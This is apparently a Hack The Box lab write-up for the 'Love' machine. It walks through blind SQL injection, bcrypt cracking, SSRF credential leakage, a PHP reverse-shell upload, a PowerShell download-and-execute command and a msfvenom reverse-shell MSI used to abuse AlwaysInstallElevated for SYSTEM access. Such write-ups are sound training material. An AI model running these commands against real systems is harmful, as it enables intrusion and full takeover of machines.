by Akcoren

Overview
This overview shows the direct path to the solution of Hack The Box – Love machine without giving the commands or tools which are used in the solution. There is an apache web server running on the machine which serves a certain CMS called ‘voting system’. Another sub-domain has a SSRF vulnerability which leaks admin credentials for the CMS. CMS has an authenticated RCE vulnerability. After getting the initial foothold, AlwaysInstallElevated feature is abused for the privilege escalation to get the administrator privileges.
Detailed Walkthrough
My IP: 10.10.16.9
Machine IP: 10.10.10.239
Machine Link: https://app.hackthebox.com/machines/344
Initial Foothold
Start with default nmap scan
┌──(root㉿kali)-[~/love]
└─# nmap -T4 -p- -A -Pn -oA nmap/love.allportsPN 10.10.10.239
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-18 12:38 EDT
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 20.80% done; ETC: 12:39 (0:01:01 remaining)
Stats: 0:02:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 46.82% done; ETC: 12:43 (0:02:34 remaining)
Nmap scan report for 10.10.10.239
Host is up (0.11s latency).
Not shown: 65516 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '10.10.16.9' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
|_ssl-date: 2024-03-18T17:09:47+00:00; +22m02s from scanner time.
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=3/18%Time=65F86F6C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.9'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/18%OT=80%CT=1%CU=34592%PV=Y%DS=2%DC=T%G=Y%TM=65F8703
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=109%CI=I%TS=U)SEQ(SP=FF%GCD=
OS:1%ISR=109%TS=U)SEQ(SP=FF%GCD=1%ISR=109%CI=I%II=I%TS=U)OPS(O1=M53ANW8NNS%
OS:O2=M53ANW8NNS%O3=M53ANW8%O4=M53ANW8NNS%O5=M53ANW8NNS%O6=M53ANNS)WIN(W1=F
OS:FFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M
OS:53ANW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=8
OS:0%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%
OS:Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%
OS:A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%
OS:DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIP
OS:L=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-03-18T10:09:33-07:00
|_clock-skew: mean: 2h07m02s, deviation: 3h30m01s, median: 22m01s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-03-18T17:09:31
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 60.86 ms 10.10.16.1
2 61.00 ms 10.10.10.239
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 566.00 seconds
Bunch of ports are open, which led us to different attack paths. Following paths are the recognizable ones.
- 445 -> SMB Server is running. We definitely enumerate this.
- 5985, 5986 -> WinRM, if we find credentials somehow, we may go for this.
- 80, 443, 5000, 47001 -> Webservers, we should enumerate them.
- 3306 -> Mysql server, scan says no remote access. Most probably a dead end.
- 5040, 7680 -> Unknown. If we are desperate and other paths do not take us anywhere, we might go for these too.
We found 3 different host names on the scan. www.love.htb
, www.example.com
, staging.love.htb
. www.example.com
does not make any sense. So we add the following 3 host names to etc/hosts
file.
10.10.10.239 love.htb staging.love.htb www.love.htb
We navigate to them. A CMS called ‘voting system’ is served on the love.htb.

admin:admin
does not result into anything. Is it vulnerable to injection attacks? We test is with SQLMap. We intercept the request with Burpsuite, save it as req.txt
and run SQLMap to find if it is vulnerable or not. Intercepted request is given below. There are 3 request parameters voter
, password
and login
.
POST /login.php HTTP/1.1
Host: 10.10.10.239
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://10.10.10.239
Connection: close
Referer: http://10.10.10.239/index.php
Cookie: PHPSESSID=j3f84j93ochdm1elhsdc5vs65b
Upgrade-Insecure-Requests: 1
voter=1234&password=testpass&login=
Test it via SQLMap.
┌──(root㉿kali)-[~/love]
└─# sqlmap -r req.txt
___
__H__
___ ___["]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:24:13 /2024-03-18/
[13:24:13] [INFO] parsing HTTP request from 'req.txt'
[13:24:14] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[13:24:14] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.10.239:80/index.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[REDACTED]
[13:24:51] [INFO] POST parameter 'voter' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[REDACTED]
[13:26:25] [WARNING] POST parameter 'password' does not seem to be injectable
[REDACTED]
[13:27:09] [WARNING] POST parameter 'login' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 214 HTTP(s) requests:
---
Parameter: voter (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: voter=1234' AND (SELECT 1042 FROM (SELECT(SLEEP(5)))iTMK) AND 'KLQe'='KLQe&password=testpass&login=
---
[REDACTED]
The parameter voter is vulnerable to time-based blind sql injection. Other parameters, password and login are not injectable. Blind sql injection is very similar to normal sql injections where the only difference is you do not see the output of the sql query. It makes it more difficult than the normal sql injection. You can find more info from the OWASP Blind SQL Injection web page if you are not familiar with it.
We dump the whole database.
┌──(root㉿kali)-[~/love]
└─# sqlmap -r req.txt --level=2 --dump
[*] starting @ 13:32:14 /2024-03-18/
[REDACTED]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: voter (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: voter=1234' AND (SELECT 1042 FROM (SELECT(SLEEP(5)))iTMK) AND 'KLQe'='KLQe&password=testpass&login=
---
[REDACTED]
Database: votesystem
Table: admin
[1 entry]
+----+-----------------------------+----------+--------------------------------------------------------------+----------+-----------+------------+
| id | photo | lastname | password | username | firstname | created_on |
+----+-----------------------------+----------+--------------------------------------------------------------+----------+-----------+------------+
| 1 | facebook-profile-image.jpeg | Devierte | $2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC | admin | Neovic | 2018-04-02 |
+----+-----------------------------+----------+--------------------------------------------------------------+----------+-----------+------------+
[REDACTED]
Database: votesystem
Table: voters
[0 entries]
+----+-----------+-------+----------+----------+-----------+
| id | voters_id | photo | lastname | password | firstname |
+----+-----------+-------+----------+----------+-----------+
+----+-----------+-------+----------+----------+-----------+
[REDACTED]
Database: votesystem
Table: positions
[0 entries]
+----+----------+----------+-------------+
| id | max_vote | priority | description |
+----+----------+----------+-------------+
+----+----------+----------+-------------+
[REDACTED]
Database: votesystem
Table: votes
[0 entries]
+----+-----------+-------------+--------------+
| id | voters_id | position_id | candidate_id |
+----+-----------+-------------+--------------+
+----+-----------+-------------+--------------+
[REDACTED]
Database: votesystem
Table: candidates
[0 entries]
+----+-------------+-------+----------+----------+-----------+
| id | position_id | photo | lastname | platform | firstname |
+----+-------------+-------+----------+----------+-----------+
+----+-------------+-------+----------+----------+-----------+
[*] ending @ 14:08:43 /2024-03-18/
It took about ~40 minutes to finish. There is only single entry in the entire database. Which is an admin user and hashed password.
admin:$2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC
I brute-force this hash with rockyou wordlist which has a total of 14344392 entries.
I tried to break this with a AMD Ryzen 7 5700G Radeon Graphics 3.80 GHz CPU. The estimated finish time was (1 day, 20 hours).
C:\Users\user\Desktop\hashcat-6.2.6>hashcat.exe -m 3200 ..\hashes\love-hash.txt rockyou.txt
hashcat (v6.2.6) starting
* Device #1: AMD Radeon(TM) Graphics, 13408/26896 MB (9690 MB allocatable), 8MCU
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQx...utFjsC
Time.Started.....: Mon Mar 18 20:58:56 2024 (32 secs)
Time.Estimated...: Wed Mar 20 16:59:29 2024 (1 day, 20 hours) <<<===== TIME REQUIRED
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 91 H/s (10.65ms) @ Accel:2 Loops:8 Thr:8 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 2816/14344385 (0.02%)
Rejected.........: 0/2816 (0.00%)
Restore.Point....: 2816/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:376-384
Candidate.Engine.: Device Generator
Candidates.#1....: pirate -> pumas
Hardware.Mon.#1..: Util: 99% Core:2000MHz Mem:1600MHz Bus:16
I tried to break the same hash with my gaming computer which has a Nvidia GTX 4070ti GPU and it took ~1 hour. The true evidence of the power of GPUs and parallel computing.
C:\Users\user\Desktop\hashcat-6.2.6>hashcat.exe -m 3200 ..\hashes\love-hash.txt rockyou.txt --potfile-disable
hashcat (v6.2.6) starting
CUDA API (CUDA 12.4)
====================
* Device #1: NVIDIA GeForce RTX 4070 Ti, 11038/12281 MB, 60MCU
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQx...utFjsC
Time.Started.....: Wed Mar 20 21:37:00 2024 (2 secs)
Time.Estimated...: Wed Mar 20 22:44:42 2024 (1 hour, 7 mins) <<<===== TIME REQUIRED
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3531 H/s (6.20ms) @ Accel:1 Loops:16 Thr:24 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 7200/14344385 (0.05%)
Rejected.........: 0/7200 (0.00%)
Restore.Point....: 7200/14344385 (0.05%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:864-880
Candidate.Engine.: Device Generator
Candidates.#1....: danutza -> brigitte
Hardware.Mon.#1..: Temp: 45c Fan: 0% Util: 98% Core:2820MHz Mem:10251MHz Bus:16
No results from the whole thing. The hash was a bcrypt hash, which uses an encryption algorithm called blowfish block cipher to hash the user passwords. It is a default hashing algorithm for linux-based operating systems. Hashes in the /etc/shadow
file are this type of hashes. This hash is apparently very resistant to brute-force attacks. Sadly it was a wasted ~4 hours of effort including enumeration, blind injection and brute forcing.
staging.love.htb
We move on to the staging.love.htb url. I was not able to find this subdomain first. To find it with enumeration, there are some things you can do.
- Nmap scan shows this subdomain as a common name.
- Port 443 is open, so something should be served through https. Browse to https://love.htb and view certificate, it shows the subdomain.

Add sub domain to the etc hosts file and visit the website. It looks like it is a file scanner application which scans for the files on the given URL. To test the service we fire up a simple http server with python and use our attack machine IP to scan. Remember our IP was 10.10.16.9
on HTB’s internal network.
┌──(root㉿kali)-[~/PREP/HTB/forest]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

It shows files on the server. We can scan for a single file too. I tried to scan a .php
reverse shell but it did not work as I intended.

How does this service work then? I try my best to explain it. We send a request to the server, then server sends another request to an URL we requested. Which means, we can trick the server to scan PC’s from internal server those are inaccessible from outside. This vulnerability is called Server-Side Request Forgery (SSRF).

In our test case we provide our URL. Above diagram turns into this.

To exploit the machine, we direct it to scan itself by providing http://127.0.0.1:5000
. Which looks like this in a diagram.

Machine targets itself and the port 5000 (which is previously unreachable by us) shows a credential stored on the server.

We found the password @LoveIsInTheAir!!!!
. Previously encountered bcrypt hash is the hash of this password.
C:\Users\user\Desktop\hashcat-6.2.6>hashcat.exe -m 3200 ..\hashes\love-hash.txt rockyou.txt --show
$2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC:@LoveIsInTheAir!!!!
If you want to automate this SSRF vulnerability. You can use the below ffuf
command. Full structure of the request can be captured by using burpsuite or browser’s developer tools.
┌──(root㉿kali)-[~/love]
└─# ffuf -u http://staging.love.htb/beta.php -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/local-ports.txt -X POST -d "file=http://FUZZ&read=Scan+file" -fw 1248 -H "Content-Type: application/x-www-form-urlencoded"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://staging.love.htb/beta.php
:: Wordlist : FUZZ: /usr/share/seclists/SecLists-master/Discovery/Web-Content/local-ports.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : file=http://FUZZ&read=Scan+file
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 1248
________________________________________________
[Status: 200, Size: 9385, Words: 1901, Lines: 337, Duration: 64ms] * FUZZ: 127.0.0.1:80
[Status: 200, Size: 5466, Words: 1296, Lines: 224, Duration: 117ms] * FUZZ: 127.0.0.1:443
[Status: 200, Size: 9591, Words: 2385, Lines: 411, Duration: 66ms] * FUZZ: 127.0.0.1:5000
[Status: 200, Size: 5312, Words: 1266, Lines: 218, Duration: 61ms] * FUZZ: 127.0.0.1:5985
[Status: 200, Size: 5312, Words: 1266, Lines: 218, Duration: 65ms] * FUZZ: 127.0.0.1:47001
:: Progress: [65535/65535] :: Job [1/1] :: 17 req/sec :: Duration: [1:03:58] :: Errors: 9 ::
It took almost ~1 hour to scan all local ports and we could not find any notable ports.
The only thing we did not do is directory discovery. My favorite tool for fuzzing is ffuf
. We use lowercase wordlist because it is a Windows machine. Directory busting let us to various points.
┌──(root㉿kali)-[~/love]
└─# ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://love.htb/FUZZ -fs 298
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://love.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 298
________________________________________________
[REDACTED]
[Status: 301, Size: 330, Words: 22, Lines: 10, Duration: 124ms] * FUZZ: images
[Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 61ms] * FUZZ: admin
[Status: 301, Size: 331, Words: 22, Lines: 10, Duration: 85ms] * FUZZ: plugins
[Status: 301, Size: 332, Words: 22, Lines: 10, Duration: 66ms] * FUZZ: includes
[Status: 301, Size: 328, Words: 22, Lines: 10, Duration: 67ms] * FUZZ: dist
[Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 74ms] * FUZZ: licenses
:: Progress: [207643/207643] :: Job [1/1] :: 492 req/sec :: Duration: [0:06:03] :: Errors: 0 ::
We navigate to http://love.htb/admin/
and login with the credentials we found. A dashboard welcomes us.

At this point, if you search exploits for this voting CMS, you will find various tools for RCE to exploit this CMS. However, we’ll do it manually in this walktrough. Enumerate the application and you will find we can update our profile photo, which means we upload something to the webserver and server parses it.

We forge a malicious .php
file so that web server would run it and upload it to the server. I use reverse shell in the https://github.com/ivan-sincek/php-reverse-shell/tree/master. Which works quite well with windows machines. Do not forget to change the host address and port number.
$sh = new Shell('10.10.16.9', 9001);
Setup a netcat listener and upload the .php
file. We got the initial foothold onto the machine.
┌──(root㉿kali)-[/]
└─# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.239] 51334
SOCKET: Shell has connected! PID: 1908
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\omrs\images>cd C:\Users\Phoebe\Desktop
C:\Users\Phoebe\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30
Directory of C:\Users\Phoebe\Desktop
04/13/2021 03:20 AM <DIR> .
04/13/2021 03:20 AM <DIR> ..
03/19/2024 12:23 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 3,971,776,512 bytes free
C:\Users\Phoebe\Desktop>type user.txt
0d11e2e046417949****************
C:\Users\Phoebe\Desktop>
Privilege Escalation
After getting the flag, I upload a Nishang powershell reverse shell Invoke-PowerShellTcp.ps1
. It is just because I like using it. You may skip this process. We add the following file to the end of the powershell script to immediate execution.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.9 -Port 9002
Fire up a netcat listener and run IEX download and execute command.
C:\temp>cmd /c powershell IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.16.9/Invoke-PowerShellTcp.ps1')
We get the powershell with the same user again.
┌──(root㉿kali)-[~/love]
└─# nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.239] 51338
Windows PowerShell running as user Phoebe on LOVE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\temp>
PS C:\temp>
For the privilege escalation, I use winpeas
automated script to enumerate the machine. Download the executable and run it. You need to be in a directory where you have right permission to download the file.
PS C:\temp> (New-Object System.Net.WebClient).DownloadFile('http://10.10.16.9/winpeas.exe', 'C:\temp\winpeas.exe')
PS C:\temp> dir
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/19/2024 7:08 AM 2028544 winpeas.exe
PS C:\temp> .\winpeas.exe
[REDACTED]
???????????? Checking AlwaysInstallElevated
? https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
[REDACTED]
AlwaysInstallElevated is enabled, which means, if we install a .msi
file, it is run and installed as administrator. AlwaysInstallElevated feature is related to the following two registry keys
- HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
- HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
You can manually enumerate these registry keys with the following commands
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
In order to exploit this, we forge a malicious .msi
file using msfvenom.
┌──(root㉿kali)-[~/love]
└─# msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.16.9 lport=9003 -f msi -o rev.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: rev.msi
Download the malicious .msi
file to the machine, fire up another netcat listener and run the .msi
file. (/qn: quiet & no gui)
PS C:\temp> (New-Object System.Net.WebClient).DownloadFile('http://10.10.16.9/rev.msi', 'C:\temp\rev.msi')
PS C:\temp>
PS C:\temp> msiexec /quiet /qn /i rev.msi
Listener on attack machine
┌──(root㉿kali)-[~/love]
└─# nc -nvlp 9003
listening on [any] 9003 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.239] 51341
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
[REDACTED]
We get the administrator user. Get the flag.
C:\Users\Administrator>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30
Directory of C:\Users\Administrator\Desktop
04/13/2021 03:20 AM <DIR> .
04/13/2021 03:20 AM <DIR> ..
03/19/2024 12:23 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 3,941,138,432 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
814cec62b5eea063****************
C:\Users\Administrator\Desktop>
Conclusion & Comments
This was the most fun box that I ever solved on the HTB. It is a solid easy box in my opinion. It demonstrates SSRF in a quite simple and good way. Attacker should chain two different vulnerability to get the initial foothold and a generic path for the privilege escalation part. At first I was not able to find the staging
subdomain, I should be much more careful while analyzing nmap results. I am not sure if the blind-SQL injection part is intentionally added to the box or not. However it did not lead to anywhere and I spent a quite good time while enumerating and exploiting the SQL injection and brute-forcing. Moreover, it is always fun to forge custom reverse shells.
You never know what comes out from winpeas.
Other Notable Resources
- IPPSEC’s video: https://www.youtube.com/watch?v=V_7ubkfnPK4
- 0xdf’s solution: https://0xdf.gitlab.io/2021/08/07/htb-love.html
- General info about SSRF: https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
- General info about blind SQL-Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
- General info about blind SQL-Injection – 2: https://portswigger.net/web-security/sql-injection/blind
- Insecure File Uploads: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files
- AlwaysInstallElevated: https://learn.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated
- AlwaysInstallElevated – 2: https://juggernaut-sec.com/alwaysinstallelevated/
- Bcrypt Hashing: https://en.wikipedia.org/wiki/Bcrypt